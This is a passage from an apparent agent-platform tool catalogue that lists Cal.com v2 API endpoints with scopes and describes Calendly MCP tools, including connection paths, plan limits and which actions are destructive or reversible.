(write) — Confirm a booking via POST /v2/bookings/{bookingUid}/confirm POST /api/v1/calcom/v2/bookings/{bookingUid}/confirm. Scopes: BOOKING_WRITE. calcom_post_v2_bookings_by_bookinguid_decline (write) — Decline a booking via POST /v2/bookings/{bookingUid}/decline POST /api/v1/calcom/v2/bookings/{bookingUid}/decline. Scopes: BOOKING_WRITE. calcom_post_v2_bookings_by_bookinguid_guests (write) — Add guests to an existing booking via POST /v2/bookings/{bookingUid}/guests POST /api/v1/calcom/v2/bookings/{bookingUid}/guests. Scopes: BOOKING_WRITE. calcom_post_v2_bookings_by_bookinguid_mark_absent (write) — Mark a booking absence via POST /v2/bookings/{bookingUid}/mark-absent POST /api/v1/calcom/v2/bookings/{bookingUid}/mark-absent. Scopes: BOOKING_WRITE. calcom_post_v2_bookings_by_bookinguid_reassign (write) — Reassign a booking to auto-selected host via POST /v2/bookings/{bookingUid}/reassign POST /api/v1/calcom/v2/bookings/{bookingUid}/reassign. Scopes: BOOKING_WRITE. calcom_post_v2_bookings_by_bookinguid_reassign_by_userid (write) — Reassign a booking to a specific host via POST /v2/bookings/{bookingUid}/reassign/{userId} POST /api/v1/calcom/v2/bookings/{bookingUid}/reassign/{userId}. Scopes: BOOKING_WRITE. calcom_post_v2_bookings_by_bookinguid_request_reschedule (write) — Request to reschedule a booking. via POST /v2/bookings/{bookingUid}/request-reschedule POST /api/v1/calcom/v2/bookings/{bookingUid}/request-reschedule. Scopes: BOOKING_WRITE. calcom_post_v2_bookings_by_bookinguid_reschedule (write) — Reschedule a booking or seated booking. via POST /v2/bookings/{bookingUid}/reschedule POST /api/v1/calcom/v2/bookings/{bookingUid}/reschedule. Scopes: none. calcom_post_v2_bookings_verification_email_send_code (write) — Send email verification code via POST /v2/bookings/verification/email/send-code POST /api/v1/calcom/v2/bookings/verification/email/send-code. Scopes: none. calcom_post_v2_bookings_verification_email_verify_code (write) — Verify email with code via POST /v2/bookings/verification/email/verify-code POST /api/v1/calcom/v2/bookings/verification/email/verify-code. Scopes: none. calcom_post_v2_calendars_by_calendar_credentials (write) — Save Apple calendar credentials via POST /v2/calendars/{calendar}/credentials POST /api/v1/calcom/v2/calendars/{calendar}/credentials. Scopes: APPS_WRITE. calcom_post_v2_calendars_by_calendar_disconnect (write) — Disconnect a calendar via POST /v2/calendars/{calendar}/disconnect POST /api/v1/calcom/v2/calendars/{calendar}/disconnect. Scopes: APPS_WRITE. calcom_post_v2_calendars_ics_feed_save (write) — Save an ICS feed via POST /v2/calendars/ics-feed/save POST /api/v1/calcom/v2/calendars/ics-feed/save. Scopes: APPS_WRITE. calcom_post_v2_conferencing_by_app_connect (write) — Connect your conferencing application via POST /v2/conferencing/{app}/connect POST /api/v1/calcom/v2/conferencing/{app}/connect. Scopes: APPS_WRITE. calcom_post_v2_conferencing_by_app_default (write) — Set your default conferencing application via POST /v2/conferencing/{app}/default POST /api/v1/calcom/v2/conferencing/{app}/default. Scopes: APPS_WRITE. calcom_post_v2_credits_charge (write) — Charge credits for an authenticated user. via POST /v2/credits/charge POST /api/v1/calcom/v2/credits/charge. Scopes: none. calcom_post_v2_event_types (write) — Create an event type via POST /v2/event-types POST /api/v1/calcom/v2/event-types. Scopes: EVENT_TYPE_WRITE. calcom_post_v2_event_types_by_eventtypeid_private_links (write) — Create a private link for an event type via POST /v2/event-types/{eventTypeId}/private-links POST /api/v1/calcom/v2/event-types/{eventTypeId}/private-links. Scopes: EVENT_TYPE_WRITE. calcom_post_v2_event_types_by_eventtypeid_webhooks (write) — Create a webhook via POST /v2/event-types/{eventTypeId}/webhooks POST /api/v1/calcom/v2/event-types/{eventTypeId}/webhooks. Scopes: EVENT_TYPE_WRITE. calcom_post_v2_insights_bookings_average_duration (write) — Get average booking duration for user, team, or organization insights. via POST /v2/insights/bookings/average-duration POST /api/v1/calcom/v2/insights/bookings/average-duration. Scopes: none. calcom_post_v2_insights_bookings_event_trends (write) — Get booking event trends via POST /v2/insights/bookings/event-trends POST /api/v1/calcom/v2/insights/bookings/event-trends. Scopes: none. calcom_post_v2_insights_bookings_kpi_stats (write) — Get booking KPI stats for user, team, or organization insights. via POST /v2/insights/bookings/kpi-stats POST /api/v1/calcom/v2/insights/bookings/kpi-stats. Scopes: none. calcom_post_v2_insights_bookings_members (write) — Get booking member stats for user, team, or organization insights. via POST /v2/insights/bookings/members POST /api/v1/calcom/v2/insights/bookings/members. Scopes: none. calcom_post_v2_insights_routings_failed_bookings_by_field (write) — Get failed bookings by routing field via POST /v2/insights/routings/failed-bookings-by-field POST /api/v1/calcom/v2/insights/routings/failed-bookings-by-field. Scopes: none. calcom_post_v2_insights_routings_form_field_options (write) — Get routing form field options via POST /v2/insights/routings/form-field-options POST /api/v1/calcom/v2/insights/routings/form-field-options. Scopes: none. calcom_post_v2_insights_routings_form_response_headers (write) — Get routing form response headers for user, team, or organization insights. via POST /v2/insights/routings/form-response-headers POST /api/v1/calcom/v2/insights/routings/form-response-headers. Scopes: none. calcom_post_v2_insights_routings_form_responses (write) — Get routing form responses via POST /v2/insights/routings/form-responses POST /api/v1/calcom/v2/insights/routings/form-responses. Scopes: none. calcom_post_v2_insights_routings_forms_by_status (write) — Get routing forms by status via POST /v2/insights/routings/forms-by-status POST /api/v1/calcom/v2/insights/routings/forms-by-status. Scopes: none. calcom_post_v2_insights_routings_routed_to_per_period (write) — Get routed-to users per period via POST /v2/insights/routings/routed-to-per-period POST /api/v1/calcom/v2/insights/routings/routed-to-per-period. Scopes: none. calcom_post_v2_me_ooo (write) — Create an out-of-office entry for the authenticated user via POST /v2/me/ooo POST /api/v1/calcom/v2/me/ooo. Scopes: SCHEDULE_WRITE. calcom_post_v2_notifications_subscriptions_app_push (write) — Register an app push subscription via POST /v2/notifications/subscriptions/app-push POST /api/v1/calcom/v2/notifications/subscriptions/app-push. Scopes: none. calcom_post_v2_notifications_subscriptions_slack_link_intents (write) — Create a Slack push linking intent via POST /v2/notifications/subscriptions/slack/link-intents POST /api/v1/calcom/v2/notifications/subscriptions/slack/link-intents. Scopes: none. calcom_post_v2_notifications_subscriptions_telegram_link_intents (write) — Create a Telegram push linking intent via POST /v2/notifications/subscriptions/telegram/link-intents POST /api/v1/calcom/v2/notifications/subscriptions/telegram/link-intents. Scopes: none. calcom_post_v2_oauth_by_clientid_refresh (write) — Refresh managed user tokens via POST /v2/oauth/{clientId}/refresh POST /api/v1/calcom/v2/oauth/{clientId}/refresh. Scopes: none. calcom_post_v2_oauth_clients (write) — Create an OAuth client via POST /v2/oauth-clients POST /api/v1/calcom/v2/oauth-clients. Scopes: none. calcom_post_v2_oauth_clients_by_clientid_users (write) — Create a managed user via POST /v2/oauth-clients/{clientId}/users POST /api/v1/calcom/v2/oauth-clients/{clientId}/users. Scopes: none. calcom_post_v2_oauth_clients_by_clientid_users_by_userid_force_refresh (write) — Force refresh tokens via POST /v2/oauth-clients/{clientId}/users/{userId}/force-refresh POST /api/v1/calcom/v2/oauth-clients/{clientId}/users/{userId}/force-refresh. Scopes: none. calcom_post_v2_oauth_clients_by_clientid_webhooks (write) — Create a webhook via POST /v2/oauth-clients/{clientId}/webhooks POST /api/v1/calcom/v2/oauth-clients/{clientId}/webhooks. Scopes: none. calcom_post_v2_organizations_by_orgid_attributes (write) — Create an attribute via POST /v2/organizations/{orgId}/attributes POST /api/v1/calcom/v2/organizations/{orgId}/attributes. Scopes: none. calcom_post_v2_organizations_by_orgid_attributes_by_attributeid_options (write) — Create an attribute option via POST /v2/organizations/{orgId}/attributes/{attributeId}/options POST /api/v1/calcom/v2/organizations/{orgId}/attributes/{attributeId}/options. Scopes: none. calcom_post_v2_organizations_by_orgid_attributes_options_by_userid (write) — Assign an attribute to a user via POST /v2/organizations/{orgId}/attributes/options/{userId} POST /api/v1/calcom/v2/organizations/{orgId}/attributes/options/{userId}. Scopes: none. calcom_post_v2_organizations_by_orgid_bookings_block (write) — Block an organization booking attendee via POST /v2/organizations/{orgId}/bookings/block POST /api/v1/calcom/v2/organizations/{orgId}/bookings/block. Scopes: ORG_BOOKING_WRITE. calcom_post_v2_organizations_by_orgid_bookings_report (write) — Report an organization booking via POST /v2/organizations/{orgId}/bookings/report POST /api/v1/calcom/v2/organizations/{orgId}/bookings/report. Scopes: ORG_BOOKING_WRITE. calcom_post_v2_organizations_by_orgid_delegation_credentials (write) — Save delegation credentials for your organization via POST /v2/organizations/{orgId}/delegation-credentials POST /api/v1/calcom/v2/organizations/{orgId}/delegation-credentials. Scopes: none. calcom_post_v2_organizations_by_orgid_delegation_credentials_by_credentialid_reset_rotation (write) — Reset a blocked delegation credential's secret rotation state via POST /v2/organizations/{orgId}/delegation-credentials/{credentialId}/reset-rotation POST /api/v1/calcom/v2/organizations/{orgId}/delegation-credentials/{credentialId}/reset-rotation. Scopes: none. calcom_post_v2_organizations_by_orgid_memberships (write) — Create a membership via POST /v2/organizations/{orgId}/memberships POST /api/v1/calcom/v2/organizations/{orgId}/memberships. Scopes: ORG_MEMBERSHIP_WRITE. calcom_post_v2_organizations_by_orgid_organizations (write) — Create an organization within an organization via POST /v2/organizations/{orgId}/organizations POST /api/v1/calcom/v2/organizations/{orgId}/organizations. Scopes: none. calcom_post_v2_organizations_by_orgid_roles (write) — Create a new organization role via POST /v2/organizations/{orgId}/roles POST /api/v1/calcom/v2/organizations/{orgId}/roles. Scopes: none. calcom_post_v2_organizations_by_orgid_roles_by_roleid_permissions (write) — Add permissions to an organization role (single or batch) via POST /v2/organizations/{orgId}/roles/{roleId}/permissions POST /api/v1/calcom/v2/organizations/{orgId}/roles/{roleId}/permissions. Scopes: none. calcom_post_v2_organizations_by_orgid_routing_forms_by_routingformid_responses (write) — Create routing form response and get available slots via POST /v2/organizations/{orgId}/routing-forms/{routingFormId}/responses POST /api/v1/calcom/v2/organizations/{orgId}/routing-forms/{routingFormId}/responses. Scopes: ORG_ROUTING_FORM_WRITE. calcom_post_v2_organizations_by_orgid_teams (write) — Create a team via POST /v2/organizations/{orgId}/teams POST /api/v1/calcom/v2/organizations/{orgId}/teams. Scopes: ORG_PROFILE_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_conferencing_by_app_connect (write) — Connect your conferencing application to a team via POST /v2/organizations/{orgId}/teams/{teamId}/conferencing/{app}/connect POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/conferencing/{app}/connect. Scopes: TEAM_APPS_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_conferencing_by_app_default (write) — Set team default conferencing application via POST /v2/organizations/{orgId}/teams/{teamId}/conferencing/{app}/default POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/conferencing/{app}/default. Scopes: TEAM_APPS_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_event_types (write) — Create an event type via POST /v2/organizations/{orgId}/teams/{teamId}/event-types POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/event-types. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_event_types_by_eventtypeid_create_phone_call (write) — Create a phone call via POST /v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}/create-phone-call POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}/create-phone-call. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_event_types_by_eventtypeid_private_links (write) — Create a private link for a team event type via POST /v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}/private-links POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/event-types/{eventTypeId}/private-links. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_invite (write) — Create team invite link via POST /v2/organizations/{orgId}/teams/{teamId}/invite POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/invite. Scopes: TEAM_MEMBERSHIP_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_memberships (write) — Create a membership via POST /v2/organizations/{orgId}/teams/{teamId}/memberships POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/memberships. Scopes: TEAM_MEMBERSHIP_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_roles (write) — Create a new organization team role via POST /v2/organizations/{orgId}/teams/{teamId}/roles POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/roles. Scopes: none. calcom_post_v2_organizations_by_orgid_teams_by_teamid_roles_by_roleid_permissions (write) — Add permissions to an organization team role (single or batch) via POST /v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}/permissions POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}/permissions. Scopes: none. calcom_post_v2_organizations_by_orgid_teams_by_teamid_routing_forms_by_routingformid_responses (write) — Create routing form response and get available slots via POST /v2/organizations/{orgId}/teams/{teamId}/routing-forms/{routingFormId}/responses POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/routing-forms/{routingFormId}/responses. Scopes: TEAM_ROUTING_FORM_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_verified_resources_emails_verification_code_request (write) — Request email verification code via POST /v2/organizations/{orgId}/teams/{teamId}/verified-resources/emails/verification-code/request POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/verified-resources/emails/verification-code/request. Scopes: TEAM_VERIFIED_RESOURCES_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_verified_resources_emails_verification_code_verify (write) — Verify an email for an org team via POST /v2/organizations/{orgId}/teams/{teamId}/verified-resources/emails/verification-code/verify POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/verified-resources/emails/verification-code/verify. Scopes: TEAM_VERIFIED_RESOURCES_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_verified_resources_phones_verification_code_request (write) — Request phone number verification code via POST /v2/organizations/{orgId}/teams/{teamId}/verified-resources/phones/verification-code/request POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/verified-resources/phones/verification-code/request. Scopes: TEAM_VERIFIED_RESOURCES_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_verified_resources_phones_verification_code_verify (write) — Verify a phone number for an org team via POST /v2/organizations/{orgId}/teams/{teamId}/verified-resources/phones/verification-code/verify POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/verified-resources/phones/verification-code/verify. Scopes: TEAM_VERIFIED_RESOURCES_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_workflows (write) — Create organization team workflow for event-types via POST /v2/organizations/{orgId}/teams/{teamId}/workflows POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/workflows. Scopes: TEAM_WORKFLOW_WRITE. calcom_post_v2_organizations_by_orgid_teams_by_teamid_workflows_routing_form (write) — Create organization team workflow for routing-forms via POST /v2/organizations/{orgId}/teams/{teamId}/workflows/routing-form POST /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/workflows/routing-form. Scopes: TEAM_WORKFLOW_WRITE. calcom_post_v2_organizations_by_orgid_users (write) — Create a user via POST /v2/organizations/{orgId}/users POST /api/v1/calcom/v2/organizations/{orgId}/users. Scopes: ORG_MEMBERSHIP_WRITE. calcom_post_v2_organizations_by_orgid_users_by_userid_conferencing_default (write) — Set the default conferencing app for an organization user via POST /v2/organizations/{orgId}/users/{userId}/conferencing/default POST /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/conferencing/default. Scopes: APPS_WRITE. calcom_post_v2_organizations_by_orgid_users_by_userid_ooo (write) — Create an out-of-office entry for a user via POST /v2/organizations/{orgId}/users/{userId}/ooo POST /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/ooo. Scopes: ORG_SCHEDULE_WRITE. calcom_post_v2_organizations_by_orgid_users_by_userid_schedules (write) — Create a schedule via POST /v2/organizations/{orgId}/users/{userId}/schedules POST /api/v1/calcom/v2/organizations/{orgId}/users/{userId}/schedules. Scopes: ORG_SCHEDULE_WRITE. calcom_post_v2_organizations_by_orgid_webhooks (write) — Create a webhook via POST /v2/organizations/{orgId}/webhooks POST /api/v1/calcom/v2/organizations/{orgId}/webhooks. Scopes: ORG_WEBHOOK_WRITE. calcom_post_v2_routing_forms_by_routingformid_calculate_slots (write) — Calculate slots based on routing form response via POST /v2/routing-forms/{routingFormId}/calculate-slots POST /api/v1/calcom/v2/routing-forms/{routingFormId}/calculate-slots. Scopes: none. calcom_post_v2_schedules (write) — Create a schedule for the authenticated user. via POST /v2/schedules POST /api/v1/calcom/v2/schedules. Scopes: SCHEDULE_WRITE. calcom_post_v2_selected_calendars (write) — Add a selected calendar via POST /v2/selected-calendars POST /api/v1/calcom/v2/selected-calendars. Scopes: APPS_WRITE. calcom_post_v2_slots_reservations (write) — Reserve a slot via POST /v2/slots/reservations POST /api/v1/calcom/v2/slots/reservations. Scopes: none. calcom_post_v2_teams (write) — Create a team via POST /v2/teams POST /api/v1/calcom/v2/teams. Scopes: TEAM_PROFILE_WRITE. calcom_post_v2_teams_by_teamid_event_types (write) — Create an event type via POST /v2/teams/{teamId}/event-types POST /api/v1/calcom/v2/teams/{teamId}/event-types. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_post_v2_teams_by_teamid_event_types_by_eventtypeid_create_phone_call (write) — Create a phone call via POST /v2/teams/{teamId}/event-types/{eventTypeId}/create-phone-call POST /api/v1/calcom/v2/teams/{teamId}/event-types/{eventTypeId}/create-phone-call. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_post_v2_teams_by_teamid_event_types_by_eventtypeid_webhooks (write) — Create a webhook for a team event type via POST /v2/teams/{teamId}/event-types/{eventTypeId}/webhooks POST /api/v1/calcom/v2/teams/{teamId}/event-types/{eventTypeId}/webhooks. Scopes: TEAM_EVENT_TYPE_WRITE. calcom_post_v2_teams_by_teamid_invite (write) — Create team invite link via POST /v2/teams/{teamId}/invite POST /api/v1/calcom/v2/teams/{teamId}/invite. Scopes: TEAM_MEMBERSHIP_WRITE. calcom_post_v2_teams_by_teamid_memberships (write) — Create a membership via POST /v2/teams/{teamId}/memberships POST /api/v1/calcom/v2/teams/{teamId}/memberships. Scopes: TEAM_MEMBERSHIP_WRITE. calcom_post_v2_teams_by_teamid_routing_forms_by_routingformid_responses (write) — Create routing form response and get available slots via POST /v2/teams/{teamId}/routing-forms/{routingFormId}/responses POST /api/v1/calcom/v2/teams/{teamId}/routing-forms/{routingFormId}/responses. Scopes: TEAM_ROUTING_FORM_WRITE. calcom_post_v2_teams_by_teamid_users_by_userid_ooo (write) — Create an out-of-office entry for a team member via POST /v2/teams/{teamId}/users/{userId}/ooo POST /api/v1/calcom/v2/teams/{teamId}/users/{userId}/ooo. Scopes: TEAM_SCHEDULE_WRITE. calcom_post_v2_teams_by_teamid_verified_resources_emails_verification_code_request (write) — Request email verification code via POST /v2/teams/{teamId}/verified-resources/emails/verification-code/request POST /api/v1/calcom/v2/teams/{teamId}/verified-resources/emails/verification-code/request. Scopes: TEAM_VERIFIED_RESOURCES_WRITE. calcom_post_v2_teams_by_teamid_verified_resources_emails_verification_code_verify (write) — Verify an email for a team via POST /v2/teams/{teamId}/verified-resources/emails/verification-code/verify POST /api/v1/calcom/v2/teams/{teamId}/verified-resources/emails/verification-code/verify. Scopes: TEAM_VERIFIED_RESOURCES_WRITE. calcom_post_v2_teams_by_teamid_verified_resources_phones_verification_code_request (write) — Request phone number verification code via POST /v2/teams/{teamId}/verified-resources/phones/verification-code/request POST /api/v1/calcom/v2/teams/{teamId}/verified-resources/phones/verification-code/request. Scopes: TEAM_VERIFIED_RESOURCES_WRITE. calcom_post_v2_teams_by_teamid_verified_resources_phones_verification_code_verify (write) — Verify a phone number for an org team via POST /v2/teams/{teamId}/verified-resources/phones/verification-code/verify POST /api/v1/calcom/v2/teams/{teamId}/verified-resources/phones/verification-code/verify. Scopes: TEAM_VERIFIED_RESOURCES_WRITE. calcom_post_v2_verified_resources_emails_verification_code_request (write) — Request email verification code via POST /v2/verified-resources/emails/verification-code/request POST /api/v1/calcom/v2/verified-resources/emails/verification-code/request. Scopes: VERIFIED_RESOURCES_WRITE. calcom_post_v2_verified_resources_emails_verification_code_verify (write) — Verify an email via POST /v2/verified-resources/emails/verification-code/verify POST /api/v1/calcom/v2/verified-resources/emails/verification-code/verify. Scopes: VERIFIED_RESOURCES_WRITE. calcom_post_v2_verified_resources_phones_verification_code_request (write) — Request phone number verification code via POST /v2/verified-resources/phones/verification-code/request POST /api/v1/calcom/v2/verified-resources/phones/verification-code/request. Scopes: VERIFIED_RESOURCES_WRITE. calcom_post_v2_verified_resources_phones_verification_code_verify (write) — Verify a phone number via POST /v2/verified-resources/phones/verification-code/verify POST /api/v1/calcom/v2/verified-resources/phones/verification-code/verify. Scopes: VERIFIED_RESOURCES_WRITE. calcom_post_v2_webhooks (write) — Create a webhook via POST /v2/webhooks POST /api/v1/calcom/v2/webhooks. Scopes: WEBHOOK_WRITE. calcom_post_v2_workflows (write) — Create a workflow via POST /v2/workflows POST /api/v1/calcom/v2/workflows. Scopes: none. calcom_put_v2_destination_calendars (write) — Update destination calendars via PUT /v2/destination-calendars PUT /api/v1/calcom/v2/destination-calendars. Scopes: APPS_WRITE. calcom_put_v2_organizations_by_orgid_roles_by_roleid_permissions (write) — Replace all permissions for an organization role via PUT /v2/organizations/{orgId}/roles/{roleId}/permissions PUT /api/v1/calcom/v2/organizations/{orgId}/roles/{roleId}/permissions. Scopes: none. calcom_put_v2_organizations_by_orgid_teams_by_teamid_roles_by_roleid_permissions (write) — Replace all permissions for an organization team role via PUT /v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}/permissions PUT /api/v1/calcom/v2/organizations/{orgId}/teams/{teamId}/roles/{roleId}/permissions. Scopes: none. ================================================================================ ## Calendly URL: https://www.agenticfabriq.com/integrations/calendly Section: Integrated Tools Calendly — 60 MCP tools Provider key: calendly. Scopes: activity_log:read, availability:read, availability:write, contacts:read, contacts:write, data_compliance:write, event_types:read, event_types:write, groups:read, locations:read, meeting_recaps:read, meeting_recaps:write, organizations:read, organizations:write, outgoing_communications:read, routing_forms:read, scheduled_events:read, scheduled_events:write, scheduling_links:write, shares:write, users:read, webhooks:read, webhooks:write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. calendly_cancel_event (write, destructive) — DESTRUCTIVE — cancel a booked meeting. Calendly removes it from the host's calendar and emails every invitee that it was cancelled. There is NO un-cancel: Calendly publishes no endpoint that restores a cancelled event, and the only way back is to book again with calendly_create_event_invitee, which sends a fresh invitation. It cancels the whole event including a group event; it cannot cancel one invitee of a group event. Requires an explicit confirmation token. Plan: Every plan. POST /api/v1/tools/calendly/event-cancellation. Scopes: scheduled_events:write. calendly_create_contact (write) — Create a Calendly Contact. Strictly additive: no existing contact changes and no mail is sent. This is also the inverse of calendly_delete_contact — read a contact with calendly_get_contact before deleting it and this call restores the same values. Plan: Every plan on which Calendly Contacts is enabled. POST /api/v1/tools/calendly/contacts. Scopes: contacts:write. calendly_create_event_invitee (write) — Book a real meeting on the host's calendar for a named invitee. Calendly then does everything it does for a booking made on its own site: it sends the invitee a confirmation email, puts the meeting on the host's calendar, creates the conference link and runs the account's workflows. That mail cannot be unsent, which is why an explicit confirmation token is required. The booking IS reversible — calendly_cancel_event cancels it. `start_time` must be a slot calendly_list_event_type_available_times returned. Plan: Standard, Teams or Enterprise. A FREE plan answers 403. Trial accounts are capped at 5 bookings per user per day; paid non-Enterprise at 10/minute, 50/hour and 100/day. POST /api/v1/tools/calendly/event-invitees. Scopes: scheduled_events:write. calendly_create_event_type (write) — Create a new one-on-one event type owned by a user. Strictly additive: nothing existing changes. Calendly publishes NO delete-event-type endpoint at any plan, so an agent cannot undo this — set `active` to false with calendly_update_event_type to take it out of circulation, and a person removes it in the Calendly UI. Plan: Every plan. One-on-one (kind 'solo') event types only — Calendly's API does not create team or round-robin types. POST /api/v1/tools/calendly/event-types. Scopes: event_types:write. calendly_create_invitee_no_show (write) — Mark an invitee as having failed to attend. Changes no calendar data and sends no mail; it records a flag Calendly reports on. Fully reversible with calendly_delete_invitee_no_show. Plan: Every plan. POST /api/v1/tools/calendly/invitee-no-shows. Scopes: scheduled_events:write. calendly_create_one_off_event_type (write) — Create a single-use event type for one specific meeting, with its own date settings and optional co-hosts, and return a scheduling link for it. Additive: no existing event type changes. Calendly publishes no delete for it either; it expires with its date setting. Co-host URIs come from calendly_list_organization_memberships. Plan: Every plan. Co-hosts require the hosts to be in the same organization. POST /api/v1/tools/calendly/one-off-event-types. Scopes: event_types:write. calendly_create_scheduling_link (write) — Create a single-use booking link for an existing event type and return its `booking_url`. Anyone holding that URL can book ONE meeting with it and then it is spent; an unused link expires after 90 days. Nothing existing changes and no mail is sent — handing the URL to somebody is a separate, human act. Use calendly_create_share instead when the meeting needs different settings from the event type. Plan: Every plan. POST /api/v1/tools/calendly/scheduling-links. Scopes: scheduling_links:write. calendly_create_share (write) — Calendly's 'Customise once and share': create a single-use booking link that overrides an existing one-on-one event type's duration, date range, location or availability for one specific invitee, without creating a new event type. Anything not named is copied from the event type. Returns the booking URL. The source event type is NOT modified and no mail is sent. Plan: Every plan. One-on-one event types only. POST /api/v1/tools/calendly/shares. Scopes: shares:write. calendly_delete_contact (write, destructive) — DESTRUCTIVE — delete a Calendly Contact. Calendly publishes no restore endpoint and no trash for contacts, so an agent cannot undo its own call. The recoverable path is to read the contact with calendly_get_contact first and re-create it with calendly_create_contact, which is the shipped inverse. Requires an explicit confirmation token. Plan: Every plan on which Calendly Contacts is enabled. POST /api/v1/tools/calendly/contact-delete. Scopes: contacts:write. calendly_delete_invitee_data (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE — submit a request to erase the personal data of up to 100 invitees from every event ever booked in the organization. This is Calendly's GDPR/CCPA erasure endpoint. It has NO inverse and cannot have one: the point of an erasure request is that the data is unrecoverable. Calendly takes up to 7 days to complete it and returns only an acknowledgement, so there is no undo window either. Requires an explicit confirmation token. Plan: ENTERPRISE ONLY. The `data_compliance:write` scope is OPTIONAL in Agentic Fabriq and is not requested unless an administrator asks for it. POST /api/v1/tools/calendly/data-compliance-delete-invitees. Scopes: data_compliance:write. calendly_delete_invitee_no_show (write) — Undo a no-show mark. This is the inverse of calendly_create_invitee_no_show and removes only the flag — the meeting, the invitee and every other record are untouched. Plan: Every plan. POST /api/v1/tools/calendly/invitee-no-show-delete. Scopes: scheduled_events:write. calendly_delete_meeting_recap (write, destructive) — DESTRUCTIVE — delete a meeting recap and the transcript under it. Calendly publishes no restore for either and no endpoint that re-runs the notetaker over a past meeting, so this is a one-way door: the recording of what was said in that meeting is gone. Read it with calendly_get_meeting_recap and calendly_get_meeting_recap_transcript first if any of it matters. Requires an explicit confirmation token. It is also the only way to remove a recap whose public share link has already been circulated. Plan: A paid plan with the Calendly Notetaker add-on. POST /api/v1/tools/calendly/meeting-recap-delete. Scopes: meeting_recaps:write. calendly_delete_scheduled_event_data (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE — submit a request to erase every scheduled event in a past time window across the whole organization. The window may span at most 24 months and must be entirely in the past. This has NO inverse and cannot have one. Calendly takes up to 7 days to complete it and returns only an acknowledgement. Read calendly_list_events over the same window first if anything in it matters. Requires an explicit confirmation token. Plan: ENTERPRISE ONLY. The `data_compliance:write` scope is OPTIONAL in Agentic Fabriq and is not requested unless an administrator asks for it. POST /api/v1/tools/calendly/data-compliance-delete-events. Scopes: data_compliance:write. calendly_delete_webhook_subscription (write, destructive) — DESTRUCTIVE — delete a webhook subscription. Calendly stops POSTing to its URL immediately and publishes no restore. Agentic Fabriq deliberately ships NO create-webhook tool, because creating one takes a caller-chosen destination URL, so this delete has no matching create here: it can stop a data flow it cannot start, which is the safe direction. Re-creating a subscription is a human action in Calendly or in whatever system owns that integration. Requires an explicit confirmation token. Plan: Standard, Teams or Enterprise. Deleting an organization-scoped subscription requires an admin or owner role. POST /api/v1/tools/calendly/webhook-subscription-delete. Scopes: webhooks:write. calendly_get_contact (read) — Return one contact in full: every email address and phone number on it, job title, company, location, LinkedIn and custom fields. READ THIS BEFORE calendly_update_contact — sending `emails` or `phone_numbers` REPLACES the whole list, and this is the only place the current list can be recovered from. Plan: Every plan on which Calendly Contacts is enabled. GET /api/v1/tools/calendly/contact. Scopes: contacts:read. calendly_get_current_user (read) — Return the Calendly account this connection belongs to: name, email, timezone, scheduling URL, its user URI and its CURRENT ORGANIZATION URI. Start here. Almost every other Calendly tool takes a `user` or `organization` URI and those URIs are not guessable, so this is the entry point that supplies them. Plan: Every plan, including Free. GET /api/v1/tools/calendly/current-user. Scopes: users:read. calendly_get_event (read) — Return one booked meeting in full: start and end time, status, event type, host memberships, invitee counter and location. The location object carries the conference JOIN LINK and, for Zoom, the meeting PASSCODE — anyone given those can join the meeting, so treat the response as meeting-access material. Plan: Every plan. GET /api/v1/tools/calendly/event. Scopes: scheduled_events:read. calendly_get_event_invitee (read) — Return one invitee of one booked meeting in full, including their answers to the booking questions, payment details when the event type charges, 